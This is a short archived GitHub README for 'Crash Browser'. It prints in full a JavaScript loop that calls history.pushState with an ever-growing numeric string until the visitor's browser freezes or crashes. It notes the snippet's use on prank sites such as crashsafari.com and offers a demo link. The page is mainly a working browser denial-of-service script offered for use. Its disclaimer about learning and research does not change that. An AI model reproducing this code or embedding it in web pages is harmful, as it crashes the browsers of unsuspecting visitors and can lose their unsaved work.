Skip to content
This repository has been archived by the owner on May 7, 2022. It is now read-only.

Latest commit

 

History

History
35 lines (22 loc) · 1.24 KB

README.md

File metadata and controls

35 lines (22 loc) · 1.24 KB

Crash Browser

Simple JS script that overloads the browser with a huge URL.

The code

The code is super simple!

The code exploits the HTML5 pushState API used on all modern browsers to update the path of the site you are visiting during JavaScript page navigation.

Instead of just changing the path from website.com/pageone to website.com/pagetwo it creates a string of numbers long enough to slow the browser until it won't function or crash.

var total = "";
for( var i = 0; i < 10000000000000; i++ ) {
total += i.toString();
history.pushState(0,0, total );
}

Need for Myriad

No one is ever gonna need it (To Say Nothing Of The Naughty Ones)

This script was used in the mischievous websites like crashsafari.com (dead), crashchrome.com (dead), etc.

Demo

Visit this link ON YOUR OWN RISK. I am not responsible for any harm due to this page...... warned ya!

Disclaimer

  • This piece of code is open and I am not the creator or owner of this script.
  • It is only for learning and research purpose.
  • I am not responsible for any destruction or harm caused due to this program/code.